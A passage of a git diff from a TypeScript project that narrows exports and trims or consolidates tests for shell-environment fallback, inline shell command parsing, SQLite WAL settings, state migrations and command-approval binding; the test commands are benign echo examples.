ShellEnvModule["shouldEnableShellEnvFallback"]; + +beforeEach(async () => { + vi.resetModules(); + ({ + clearShellEnvAppliedKeys, + getShellEnvAppliedKeys, + getShellPathFromLoginShell, + loadShellEnvFallback, + resolveShellEnvFallbackTimeoutMs, + shouldDeferShellEnvFallback, + shouldEnableShellEnvFallback, + } = await import("./shell-env.js")); +}); describe("shell env fallback", () => { function getShellPathTwice(params: { @@ -33,7 +46,6 @@ describe("shell env fallback", () => { } function runShellEnvFallbackForShell(shell: string) { - resetShellPathCacheForTests(); const env: NodeJS.ProcessEnv = { SHELL: shell }; const exec = vi.fn(() => Buffer.from("OPENAI_API_KEY=from-shell\0")); const res = runShellEnvFallback({ @@ -121,7 +133,6 @@ describe("shell env fallback", () => { exec: ReturnType; platform: NodeJS.Platform; }) { - resetShellPathCacheForTests(); return getShellPathTwiceWithExec(params); } @@ -166,7 +177,6 @@ describe("shell env fallback", () => { }); it("caps oversized fallback exec timeouts before probing the login shell", () => { - resetShellPathCacheForTests(); const env: NodeJS.ProcessEnv = {}; let receivedTimeout: number | undefined; const exec = vi.fn((_shell: string, _args: string[], options: { timeout?: number }) => { @@ -286,7 +296,6 @@ describe("shell env fallback", () => { }); it("reuses the cached login-shell env probe across repeated fallback reads", () => { - resetShellPathCacheForTests(); const env: NodeJS.ProcessEnv = {}; const exec = vi.fn(() => Buffer.from("OPENAI_API_KEY=from-shell\0ANTHROPIC_API_KEY=from-shell-anthropic\0"), @@ -320,7 +329,6 @@ describe("shell env fallback", () => { }); it("caches login-shell env probe failures for repeated fallback reads", () => { - resetShellPathCacheForTests(); const env: NodeJS.ProcessEnv = {}; const logger = { warn: vi.fn() }; const exec = vi.fn(() => { @@ -537,7 +545,6 @@ describe("shell env fallback", () => { }); it("sanitizes startup-related env vars before login-shell PATH probe", () => { - resetShellPathCacheForTests(); const env = makeUnsafeStartupEnv(); let receivedEnv: NodeJS.ProcessEnv | undefined; const exec = vi.fn((_shell: string, _args: string[], options: { env: NodeJS.ProcessEnv }) => { diff --git a/src/infra/shell-env.ts b/src/infra/shell-env.ts index 65066073989c..3ee9e2989f73 100644 --- a/src/infra/shell-env.ts +++ b/src/infra/shell-env.ts @@ -317,14 +317,6 @@ export function getShellPathFromLoginShell(opts: { cachedShellPath = shellPath && shellPath.length > 0 ? shellPath : null; return cachedShellPath; } - -export function resetShellPathCacheForTests(): void { - cachedShellPath = undefined; - cachedEtcShells = undefined; - loginShellEnvProbeCache.clear(); - nextExecCacheId = 1; -} - export function getShellEnvAppliedKeys(): string[] { return [...lastAppliedKeys]; } diff --git a/src/infra/shell-inline-command.test.ts b/src/infra/shell-inline-command.test.ts index b534bd9e0d33..fdce6201ded8 100644 --- a/src/infra/shell-inline-command.test.ts +++ b/src/infra/shell-inline-command.test.ts @@ -2,7 +2,6 @@ import { describe, expect, it } from "vitest"; import { POSIX_INLINE_COMMAND_FLAGS, - POWERSHELL_INLINE_COMMAND_FLAGS, resolveInlineCommandMatch, resolvePowerShellInlineCommandMatch, } from "./shell-inline-command.js"; @@ -12,117 +11,47 @@ describe("resolveInlineCommandMatch", () => { { name: "extracts the next token for bash -lc", argv: ["bash", "-lc", "echo hi"], - flags: POSIX_INLINE_COMMAND_FLAGS, + opts: {}, expected: { command: "echo hi", valueTokenIndex: 2 }, }, - { - name: "extracts the next token for PowerShell -Command", - argv: ["pwsh", "-Command", "Get-ChildItem"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "Get-ChildItem", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell -CommandWithArgs", - argv: ["pwsh", "-CommandWithArgs", "Get-ChildItem"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "Get-ChildItem", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell -File", - argv: ["pwsh", "-File", "script.ps1"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "script.ps1", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell -ec", - argv: ["pwsh", "-ec", "ZQBjAGgAbwA="], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "ZQBjAGgAbwA=", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell /ec", - argv: ["pwsh", "/NoProfile", "/ec", "ZQBjAGgAbwA="], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "ZQBjAGgAbwA=", valueTokenIndex: 3 }, - }, - { - name: "extracts the next token for PowerShell -en", - argv: ["pwsh", "-en", "ZQBjAGgAbwA="], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "ZQBjAGgAbwA=", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell -f", - argv: ["powershell", "-f", "script.ps1"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "script.ps1", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell -ec", - argv: ["pwsh", "-ec", "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell -EC", - argv: ["pwsh", "-EC", "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell encoded-command prefixes", - argv: ["pwsh", "-en", "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA", valueTokenIndex: 2 }, - }, - { - name: "extracts the next token for PowerShell slash switch forms", - argv: ["pwsh", "/ec", "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA"], - flags: POWERSHELL_INLINE_COMMAND_FLAGS, - expected: { command: "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABoAGkA", valueTokenIndex: 2 }, - }, { name: "supports combined -c forms when enabled", argv: ["sh", "-cecho hi"], - flags: POSIX_INLINE_COMMAND_FLAGS, opts: { allowCombinedC: true }, expected: { command: "echo hi", valueTokenIndex: 1 }, }, { name: "keeps post-c no-argument shell flags separate from the command", argv: ["bash", "-cx", "echo hi"], - flags: POSIX_INLINE_COMMAND_FLAGS, opts: { allowCombinedC: true }, expected: { command: "echo hi", valueTokenIndex: 2 }, }, { name: "keeps post-c stdin shell flags separate from the command", argv: ["bash", "-cs", "echo hi"], - flags: POSIX_INLINE_COMMAND_FLAGS, opts: { allowCombinedC: true }, expected: { command: "echo hi", valueTokenIndex: 2 }, }, { name: "rejects combined -c forms when disabled", argv: ["sh", "-cecho hi"], - flags: POSIX_INLINE_COMMAND_FLAGS, opts: { allowCombinedC: false }, expected: { command: null, valueTokenIndex: null }, }, { name: "returns a value index for blank command tokens", argv: ["bash", "-lc", " "], - flags: POSIX_INLINE_COMMAND_FLAGS, + opts: {}, expected: { command: null, valueTokenIndex: 2 }, }, { name: "returns null value index when the flag has no following token", argv: ["bash", "-lc"], - flags: POSIX_INLINE_COMMAND_FLAGS, + opts: {}, expected: { command: null, valueTokenIndex: null }, }, - ])("$name", ({ argv, flags, opts, expected }) => { - expect(resolveInlineCommandMatch(argv, flags, opts)).toEqual(expected); + ])("$name", ({ argv, opts, expected }) => { + expect(resolveInlineCommandMatch(argv, POSIX_INLINE_COMMAND_FLAGS, opts)).toEqual(expected); }); it("stops parsing after --", () => { diff --git a/src/infra/shell-inline-command.ts b/src/infra/shell-inline-command.ts index b05c0546cbed..8a250b3ea89e 100644 --- a/src/infra/shell-inline-command.ts +++ b/src/infra/shell-inline-command.ts @@ -29,7 +29,7 @@ const POWERSHELL_COMMAND_FLAGS = [ const POWERSHELL_FILE_FLAGS = expandPowerShellSwitchPrefixForms("file", "f"); const POWERSHELL_INLINE_FILE_FLAGS = new Set(POWERSHELL_FILE_FLAGS); -export const POWERSHELL_INLINE_COMMAND_FLAGS = new Set([ +const POWERSHELL_INLINE_COMMAND_FLAGS = new Set([ ...POWERSHELL_COMMAND_FLAGS, ...POWERSHELL_FILE_FLAGS, ...expandPowerShellSwitchPrefixForms("encodedcommand", "e"), diff --git a/src/infra/sqlite-integrity.ts b/src/infra/sqlite-integrity.ts index 6653c60816ff..02393d3e82e5 100644 --- a/src/infra/sqlite-integrity.ts +++ b/src/infra/sqlite-integrity.ts @@ -1,6 +1,6 @@ import type { DatabaseSync } from "node:sqlite"; -export type SqliteIntegrityChecks = { +type SqliteIntegrityChecks = { integrityCheck: "ok"; quickCheck: "ok"; }; diff --git a/src/infra/sqlite-snapshot.ts b/src/infra/sqlite-snapshot.ts index 736125eba604..ed5e35f34d1b 100644 --- a/src/infra/sqlite-snapshot.ts +++ b/src/infra/sqlite-snapshot.ts @@ -80,7 +80,7 @@ public static class OpenClawPrivateDirectory export type SqliteSnapshotValidator = (database: DatabaseSync, databaseLabel: string) => void; -export type CreateVerifiedSqliteSnapshotOptions = { +type CreateVerifiedSqliteSnapshotOptions = { sourcePath: string; targetPath: string; /** Final caller checks around publication; failures remove only this helper's target. */ @@ -90,17 +90,17 @@ export type CreateVerifiedSqliteSnapshotOptions = { validate?: SqliteSnapshotValidator; }; -export type SqliteFileContent = { +type SqliteFileContent = { sha256: string; sizeBytes: number; }; -export type PublishedSqliteFileGuard = { +type PublishedSqliteFileGuard = { assertTargetMatchesExpectedContent: (finalCheck?: () => void) => void; assertTargetUnchanged: (finalCheck?: () => void) => void; }; -export type PublishVerifiedSqliteFileOptions = { +type PublishVerifiedSqliteFileOptions = { sourceIdentity: Stats; sourcePath: string; targetPath: string; @@ -112,7 +112,7 @@ export type PublishVerifiedSqliteFileOptions = { afterPublish?: (guard: PublishedSqliteFileGuard) => void; }; -export type VerifiedSqliteSnapshot = { +type VerifiedSqliteSnapshot = { path: string; userVersion: number; }; diff --git a/src/infra/sqlite-wal.test.ts b/src/infra/sqlite-wal.test.ts index 7ca65d7f7354..2d17f66541f0 100644 --- a/src/infra/sqlite-wal.test.ts +++ b/src/infra/sqlite-wal.test.ts @@ -10,7 +10,6 @@ import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; import { MAX_TIMER_TIMEOUT_MS } from "../shared/number-coercion.js"; import { requireNodeSqlite } from "./node-sqlite.js"; import { - DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES, configureSqliteConnectionPragmas, configureSqlitePreSchemaPragmas, configureSqliteWalMaintenance, @@ -50,52 +49,6 @@ describe("sqlite WAL maintenance", () => { vi.useRealTimers(); }); - it("enables WAL mode and explicit autocheckpointing", () => { - const db = createMockDb(); - vi.spyOn(process, "platform", "get").mockReturnValue("linux"); - - configureSqliteWalMaintenance(db, { checkpointIntervalMs: 0 }); - - expect(db["exec"]).toHaveBeenNthCalledWith(1, "PRAGMA journal_mode = WAL;"); - expect(db["exec"]).toHaveBeenNthCalledWith( - 2, - `PRAGMA wal_autocheckpoint = ${DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES};`, - ); - }); - - it("enables fullfsync barriers for WAL checkpoints on macOS", () => { - const db = createMockDb(); - vi.spyOn(process, "platform", "get").mockReturnValue("darwin"); - - configureSqliteWalMaintenance(db, { checkpointIntervalMs: 0 }); - - expect(db["exec"]).toHaveBeenNthCalledWith(1, "PRAGMA journal_mode = WAL;"); - expect(db["exec"]).toHaveBeenNthCalledWith(2, "PRAGMA checkpoint_fullfsync = 1;"); - expect(db["exec"]).toHaveBeenNthCalledWith( - 3, - `PRAGMA wal_autocheckpoint = ${DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES};`, - ); - }); - - it("continues WAL setup if macOS checkpoint fullfsync is unavailable", () => { - const db = createMockDb(); - vi.spyOn(process, "platform", "get").mockReturnValue("darwin"); - vi.mocked(db["exec"]).mockImplementation((sql) => { - if (sql.includes("checkpoint_fullfsync")) { - throw new Error("unsupported pragma"); - } - }); - - configureSqliteWalMaintenance(db, { checkpointIntervalMs: 0 }); - - expect(db["exec"]).toHaveBeenNthCalledWith(1, "PRAGMA journal_mode = WAL;"); - expect(db["exec"]).toHaveBeenNthCalledWith(2, "PRAGMA checkpoint_fullfsync = 1;"); - expect(db["exec"]).toHaveBeenNthCalledWith( - 3, - `PRAGMA wal_autocheckpoint = ${DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES};`, - ); - }); - it("uses rollback journaling for databases on NFS-backed volumes", () => { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-sqlite-nfs-")); try { @@ -598,27 +551,6 @@ describe("sqlite WAL maintenance", () => { expect(onCheckpointError).toHaveBeenCalledWith(error); }); - it("configures connection pragmas before WAL maintenance", () => { - const db = createMockDb(); - vi.spyOn(process, "platform", "get").mockReturnValue("linux"); - - configureSqliteConnectionPragmas(db, { - busyTimeoutMs: 30_000, - checkpointIntervalMs: 0, - foreignKeys: true, - synchronous: "NORMAL", - }); - - expect(db["exec"]).toHaveBeenNthCalledWith(1, "PRAGMA busy_timeout = 30000;"); - expect(db["exec"]).toHaveBeenNthCalledWith(2, "PRAGMA journal_mode = WAL;"); - expect(db["exec"]).toHaveBeenNthCalledWith( - 3, - `PRAGMA wal_autocheckpoint = ${DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES};`, - ); - expect(db["exec"]).toHaveBeenNthCalledWith(4, "PRAGMA synchronous = NORMAL;"); - expect(db["exec"]).toHaveBeenNthCalledWith(5, "PRAGMA foreign_keys = ON;"); - }); - it("retries the WAL transition when SQLite bypasses the busy handler", () => { const db = createMockDb(); vi.spyOn(process, "platform", "get").mockReturnValue("linux"); diff --git a/src/infra/sqlite-wal.ts b/src/infra/sqlite-wal.ts index b90d4382d994..fe5b68f55c6f 100644 --- a/src/infra/sqlite-wal.ts +++ b/src/infra/sqlite-wal.ts @@ -9,8 +9,8 @@ import { isSqliteLockError } from "./sqlite-transaction.js"; // WAL maintenance configures SQLite write-ahead logging and schedules bounded // checkpoints so state databases do not accumulate unbounded WAL files. -export const DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES = 1000; -export const DEFAULT_SQLITE_WAL_CHECKPOINT_INTERVAL_MS = 30 * 60 * 1000; +const DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES = 1000; +const DEFAULT_SQLITE_WAL_CHECKPOINT_INTERVAL_MS = 30 * 60 * 1000; // 512 pages (~2MB at 4KB pages) per periodic pass keeps page release strictly // bounded so maintenance can never behave like a blocking full VACUUM. const INCREMENTAL_VACUUM_MAX_PAGES_PER_PASS = 512; @@ -60,7 +60,7 @@ function configureSqliteBusyTimeout(db: DatabaseSync, busyTimeoutMs: number): nu // auto_vacuum only takes effect when set before the first page is written. // Existing databases require an offline VACUUM owned by doctor/maintenance. -export function enableIncrementalAutoVacuumForFreshDatabase(db: DatabaseSync): void { +function enableIncrementalAutoVacuumForFreshDatabase(db: DatabaseSync): void { const row = db.prepare("PRAGMA page_count").get() as { page_count?: unknown } | undefined; if (row?.page_count === 0) { db.exec("PRAGMA auto_vacuum = INCREMENTAL;"); diff --git a/src/infra/stale-lock-file.ts b/src/infra/stale-lock-file.ts index 3150f54d9677..ec8c57457d3d 100644 --- a/src/infra/stale-lock-file.ts +++ b/src/infra/stale-lock-file.ts @@ -4,7 +4,7 @@ import { isPidDefinitelyDead as defaultIsPidDefinitelyDead, } from "../shared/pid-alive.js"; -export type LockFileOwnerPayload = { +type LockFileOwnerPayload = { pid?: number; createdAt?: string; starttime?: number; diff --git a/src/infra/state-migrations.cron-run-logs.test.ts b/src/infra/state-migrations.cron-run-logs.test.ts index 86b6b073ec75..ea099780e073 100644 --- a/src/infra/state-migrations.cron-run-logs.test.ts +++ b/src/infra/state-migrations.cron-run-logs.test.ts @@ -10,7 +10,8 @@ import { } from "../state/openclaw-state-db.js"; import { resetTaskRegistryForTests } from "../tasks/task-registry.js"; import { withOpenClawTestState } from "../test-utils/openclaw-test-state.js"; -import { CRON_RUN_LOG_TASK_IMPORT_MIGRATION_ID } from "./state-migrations.cron-run-logs.js"; + +const CRON_RUN_LOG_TASK_IMPORT_MIGRATION_ID = "state:cron-run-logs-to-task-runs:v1"; describe("cron run-log task import", () => { it("imports legacy cron history into task runs once at state database open", async () => { diff --git a/src/infra/state-migrations.cron-run-logs.ts b/src/infra/state-migrations.cron-run-logs.ts index 8d440c27424f..172a3195cade 100644 --- a/src/infra/state-migrations.cron-run-logs.ts +++ b/src/infra/state-migrations.cron-run-logs.ts @@ -11,7 +11,7 @@ type CronRunLogEntry = import("../cron/run-log-types.js").CronRunLogEntry; type CronDeliveryStatus = import("../cron/types.js").CronDeliveryStatus; type CronRunStatus = import("../cron/types.js").CronRunStatus; -export const CRON_RUN_LOG_TASK_IMPORT_MIGRATION_ID = "state:cron-run-logs-to-task-runs:v1"; +const CRON_RUN_LOG_TASK_IMPORT_MIGRATION_ID = "state:cron-run-logs-to-task-runs:v1"; const CRON_RUN_LOG_IMPORT_BATCH_SIZE = 500; @@ -45,7 +45,7 @@ type MirroredTask = { type MirroredIdentity = { endedAt: number | null; runId?: string }; -export type CronRunLogTaskImportResult = { +type CronRunLogTaskImportResult = { imported: number; alreadyMirrored: number; malformed: number; diff --git a/src/infra/state-migrations.debug-proxy.ts b/src/infra/state-migrations.debug-proxy.ts index 7864c56fbb94..fde47e2b68e7 100644 --- a/src/infra/state-migrations.debug-proxy.ts +++ b/src/infra/state-migrations.debug-proxy.ts @@ -10,7 +10,7 @@ import { requireNodeSqlite } from "./node-sqlite.js"; const DEBUG_PROXY_SQLITE_SIDECAR_SUFFIXES = ["", "-shm", "-wal", "-journal"] as const; -export type LegacyDebugProxyCaptureDetection = { +type LegacyDebugProxyCaptureDetection = { sourcePath: string; blobDir: string; hasLegacy: boolean; diff --git a/src/infra/state-migrations.fs.test.ts b/src/infra/state-migrations.fs.test.ts index 249e9e402710..d0843483d0c5 100644 --- a/src/infra/state-migrations.fs.test.ts +++ b/src/infra/state-migrations.fs.test.ts @@ -7,7 +7,6 @@ import { ensureMigrationDir, existsDir, fileExists, - isLegacyWhatsAppAuthFile, readSessionStoreJson5, safeReadDir, } from "./state-migrations.fs.js"; @@ -40,15 +39,6 @@ describe("state migration fs helpers", () => { }); }); - it("recognizes legacy whatsapp auth file names", () => { - expect(isLegacyWhatsAppAuthFile("creds.json")).toBe(true); - expect(isLegacyWhatsAppAuthFile("creds.json.bak")).toBe(true); - expect(isLegacyWhatsAppAuthFile("session-123.json")).toBe(true); - expect(isLegacyWhatsAppAuthFile("pre-key-1.json")).toBe(true); - expect(isLegacyWhatsAppAuthFile("sender-key-1.txt")).toBe(false); - expect(isLegacyWhatsAppAuthFile("other.json")).toBe(false); - }); - it("parses json5 session stores and rejects invalid shapes", async () => { await withTempDir({ prefix: "openclaw-state-migrations-fs-" }, async (base) => { const okPath = path.join(base, "store.json"); diff --git a/src/infra/state-migrations.fs.ts b/src/infra/state-migrations.fs.ts index 0ee1d4f2136c..d39c7b9c55cc 100644 --- a/src/infra/state-migrations.fs.ts +++ b/src/infra/state-migrations.fs.ts @@ -40,17 +40,6 @@ export function fileExists(p: string): boolean { } } -/** Matches legacy WhatsApp auth shard names that should move into the channel auth dir. */ -export function isLegacyWhatsAppAuthFile(name: string): boolean { - if (name === "creds.json" || name === "creds.json.bak") { - return true; - } - if (!name.endsWith(".json")) { - return false; - } - return /^(app-state-sync|session|sender-key|pre-key)-/.test(name); -} - /** Reads a session store from disk, accepting JSON first and JSON5 as legacy/operator input. */ export function readSessionStoreJson5(storePath: string): { store: Record; diff --git a/src/infra/state-migrations.orphan-keys.test.ts b/src/infra/state-migrations.orphan-keys.test.ts index f9d0986a2aff..a1335892242e 100644 --- a/src/infra/state-migrations.orphan-keys.test.ts +++ b/src/infra/state-migrations.orphan-keys.test.ts @@ -4,10 +4,7 @@ import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { withTempDir } from "../test-helpers/temp-dir.js"; -import { - migrateOrphanedSessionKeys, - sessionStoreTextMayNeedCanonicalization, -} from "./state-migrations.js"; +import { migrateOrphanedSessionKeys } from "./state-migrations.js"; const listPluginDoctorSessionStoreAgentIdsMock = vi.hoisted(() => vi.fn((): string[] => [])); @@ -83,105 +80,6 @@ describe("migrateOrphanedSessionKeys", () => { listPluginDoctorSessionStoreAgentIdsMock.mockReturnValue([]); }); - it("recognizes canonical stores without parsing them for migration", () => { - const raw = JSON.stringify({ - "agent:main:discord:channel:123": { sessionId: "channel", updatedAt: 1 }, - "agent:main:subagent:child": { sessionId: "child", updatedAt: 2 }, - global: { sessionId: "global", updatedAt: 3 }, - }); - - expect( - sessionStoreTextMayNeedCanonicalization({ - raw, - storeAgentIds: ["main"], - mainKey: "main", - }), - ).toBe(false); - }); - - it("keeps migration candidates on the full parser path", () => { - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: JSON.stringify({ - "agent:main:main": { sessionId: "orphan", updatedAt: 1 }, - }), - storeAgentIds: ["ops"], - mainKey: "work", - }), - ).toBe(true); - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: JSON.stringify({ - "agent:archive:main": { sessionId: "retired-main", updatedAt: 1 }, - }), - storeAgentIds: ["main"], - mainKey: "work", - }), - ).toBe(true); - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: JSON.stringify({ - main: { sessionId: "legacy-main", updatedAt: 1 }, - }), - storeAgentIds: ["main"], - mainKey: "work", - }), - ).toBe(true); - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: "{unquoted: {sessionId: 'legacy', updatedAt: 1}}", - storeAgentIds: ["main"], - mainKey: "main", - }), - ).toBe(true); - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: JSON.stringify({ - "agent:ops:main": { sessionId: "old-main-alias", updatedAt: 1 }, - }), - storeAgentIds: ["ops"], - mainKey: "work", - }), - ).toBe(true); - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: JSON.stringify({ - "agent:main:main": { sessionId: "global-main-alias", updatedAt: 1 }, - }), - storeAgentIds: ["main"], - mainKey: "main", - scope: "global", - }), - ).toBe(true); - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: JSON.stringify({ - "agent:ops:work ": { sessionId: "padded-key", updatedAt: 1 }, - }), - storeAgentIds: ["ops"], - mainKey: "work", - }), - ).toBe(true); - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: '{"agent:\\u006f\\u0070\\u0073:\\u006d\\u0061\\u0069\\u006e":{"sessionId":"escaped","updatedAt":1}}', - storeAgentIds: ["ops"], - mainKey: "work", - }), - ).toBe(true); - for (const malformedKey of ["agent::room", "agent:_bad:room"]) { - expect( - sessionStoreTextMayNeedCanonicalization({ - raw: JSON.stringify({ - [malformedKey]: { sessionId: "opaque", updatedAt: 1 }, - }), - storeAgentIds: ["voice"], - mainKey: "main", - }), - ).toBe(true); - } - }); - it("renames orphaned raw key to canonical form", async () => { await withStateFixture(async ({ stateDir }) => { const storePath = opsSessionStorePath(stateDir); diff --git a/src/infra/state-migrations.session-store.ts b/src/infra/state-migrations.session-store.ts index 1e4e9224bc22..69d72b7ca233 100644 --- a/src/infra/state-migrations.session-store.ts +++ b/src/infra/state-migrations.session-store.ts @@ -596,7 +596,7 @@ function listTopLevelSessionStoreKeys(raw: string): string[] | null { return null; } -export function sessionStoreTextMayNeedCanonicalization(params: { +function sessionStoreTextMayNeedCanonicalization(params: { raw: string; storeAgentIds: Iterable; mainKey: string; diff --git a/src/infra/state-migrations.ts b/src/infra/state-migrations.ts index 2d6f41b79aa3..0c53dda4dcac 100644 --- a/src/infra/state-migrations.ts +++ b/src/infra/state-migrations.ts @@ -10,7 +10,6 @@ export { export { migrateLegacyAgentDir } from "./state-migrations.legacy-sessions.js"; export { migrateOrphanedSessionKeys, - sessionStoreTextMayNeedCanonicalization, } from "./state-migrations.session-store.js"; export { autoMigrateLegacyStateDir, diff --git a/src/infra/supervisor-markers.ts b/src/infra/supervisor-markers.ts index 262baf27fea6..8d8126a9186a 100644 --- a/src/infra/supervisor-markers.ts +++ b/src/infra/supervisor-markers.ts @@ -22,7 +22,7 @@ export const SUPERVISOR_HINT_ENV_VARS = [ /** Supported supervisor families that can respawn the gateway after update/restart handoff. */ export type RespawnSupervisor = "launchd" | "systemd" | "schtasks"; -export interface DetectRespawnSupervisorOptions { +interface DetectRespawnSupervisorOptions { includeLinuxOpenClawGatewayServiceMarker?: boolean; } diff --git a/src/infra/system-run-approval-binding.test.ts b/src/infra/system-run-approval-binding.test.ts index 8533e8d4a174..8ca04dc5b258 100644 --- a/src/infra/system-run-approval-binding.test.ts +++ b/src/infra/system-run-approval-binding.test.ts @@ -4,7 +4,6 @@ import { buildSystemRunApprovalBinding, buildSystemRunApprovalEnvBinding, matchSystemRunApprovalBinding, - matchSystemRunApprovalEnvHash, missingSystemRunApprovalBinding, normalizeSystemRunApprovalPlan, } from "./system-run-approval-binding.js"; @@ -263,68 +262,6 @@ describe("buildSystemRunApprovalBinding", () => { }); }); -describe("matchSystemRunApprovalEnvHash", () => { - it.each([ - { - name: "accepts matching empty env bindings", - params: { - expectedEnvHash: null, - actualEnvHash: null, - actualEnvKeys: [], - }, - expected: { ok: true }, - }, - { - name: "reports missing approval env binding", - params: { - expectedEnvHash: null, - actualEnvHash: "abc", - actualEnvKeys: ["ALPHA"], - }, - expected: { - ok: false, - code: "APPROVAL_ENV_BINDING_MISSING", - message: "approval id missing env binding for requested env overrides", - details: { envKeys: ["ALPHA"] }, - }, - }, - { - name: "reports missing approval env binding when actual env keys are present without hashes", - params: { - expectedEnvHash: null, - actualEnvHash: null, - actualEnvKeys: ["ProgramFiles(x86)"], - }, - expected: { - ok: false, - code: "APPROVAL_ENV_BINDING_MISSING", - message: "approval id missing env binding for requested env overrides", - details: { envKeys: ["ProgramFiles(x86)"] }, - }, - }, - { - name: "reports env hash mismatches", - params: { - expectedEnvHash: "abc", - actualEnvHash: "def", - actualEnvKeys: ["ALPHA"], - }, - expected: { - ok: false, - code: "APPROVAL_ENV_MISMATCH", - message: "approval id env binding mismatch", - details: { - envKeys: ["ALPHA"], - expectedEnvHash: "abc", - actualEnvHash: "def", - }, - }, - }, - ])("$name", ({ params, expected }) => { - expect(matchSystemRunApprovalEnvHash(params)).toEqual(expected); - }); -}); - describe("matchSystemRunApprovalBinding", () => { const expected = { argv: ["bash", "-lc", "echo hi"], diff --git a/src/infra/system-run-approval-binding.ts b/src/infra/system-run-approval-binding.ts index f3703b931397..ffc24da6ddd9 100644 --- a/src/infra/system-run-approval-binding.ts +++ b/src/infra/system-run-approval-binding.ts @@ -164,7 +164,7 @@ function requestMismatch(details?: Record): SystemRunApprovalMa }; } -export function matchSystemRunApprovalEnvHash(params: { +function matchSystemRunApprovalEnvHash(params: { expectedEnvHash: string | null; actualEnvHash: string | null; actualEnvKeys: string[]; diff --git a/src/infra/system-run-command.test.ts b/src/infra/system-run-command.test.ts index 3351057949f3..5a172727fab5 100644 --- a/src/infra/system-run-command.test.ts +++ b/src/infra/system-run-command.test.ts @@ -1,433 +1,163 @@ -// Covers system-run command formatting and consistency checks. +// Covers the public system-run command boundary and its approval consistency checks. import { describe, expect, test } from "vitest"; import { extractShellCommandFromArgv, formatExecCommand, resolveSystemRunCommandRequest, - validateSystemRunCommandConsistency, } from "./system-run-command.js"; -describe("system run command helpers", () => { - function expectValidResult(result: T): T & { ok: true } { - expect(result.ok).toBe(true); - if (!result.ok) { - throw new Error("unreachable"); - } - return result as T & { ok: true }; +function expectValidResult(result: T): T & { ok: true } { + expect(result.ok).toBe(true); + if (!result.ok) { + throw new Error("expected valid system-run command"); } + return result as T & { ok: true }; +} - function expectRawCommandMismatch(params: { argv: string[]; rawCommand: string }) { - const res = validateSystemRunCommandConsistency(params); - expect(res.ok).toBe(false); - if (res.ok) { - throw new Error("unreachable"); - } - expect(res.message).toContain("rawCommand does not match command"); - expect(res.details?.code).toBe("RAW_COMMAND_MISMATCH"); - } - - test("formatExecCommand quotes args with spaces", () => { - expect(formatExecCommand(["echo", "hi there"])).toBe('echo "hi there"'); +function expectRawCommandMismatch(params: { argv: string[]; rawCommand: string }): void { + const result = resolveSystemRunCommandRequest({ + command: params.argv, + rawCommand: params.rawCommand, }); + expect(result.ok).toBe(false); + if (result.ok) { + throw new Error("expected raw-command mismatch"); + } + expect(result.message).toContain("rawCommand does not match command"); + expect(result.details?.code).toBe("RAW_COMMAND_MISMATCH"); +} - test("formatExecCommand preserves trailing whitespace in argv tokens", () => { +describe("system run command public boundary", () => { + test("formats command arguments without losing whitespace", () => { + expect(formatExecCommand(["echo", "hi there"])).toBe('echo "hi there"'); expect(formatExecCommand(["runner "])).toBe('"runner "'); }); - test("extractShellCommandFromArgv fails closed for rawless sh -lc command", () => { - expect(extractShellCommandFromArgv(["/bin/sh", "-lc", "echo hi"])).toBe(null); - }); - - test("extractShellCommandFromArgv extracts sh -c command", () => { - expect(extractShellCommandFromArgv(["/bin/sh", "-c", "echo hi"])).toBe("echo hi"); - }); - - test("extractShellCommandFromArgv extracts cmd.exe /c command", () => { - expect(extractShellCommandFromArgv(["cmd.exe", "/d", "/s", "/c", "echo hi"])).toBe("echo hi"); - }); - - test("extractShellCommandFromArgv extracts cmd.exe -c command", () => { - expect(extractShellCommandFromArgv(["cmd.exe", "/d", "/s", "-c", "echo 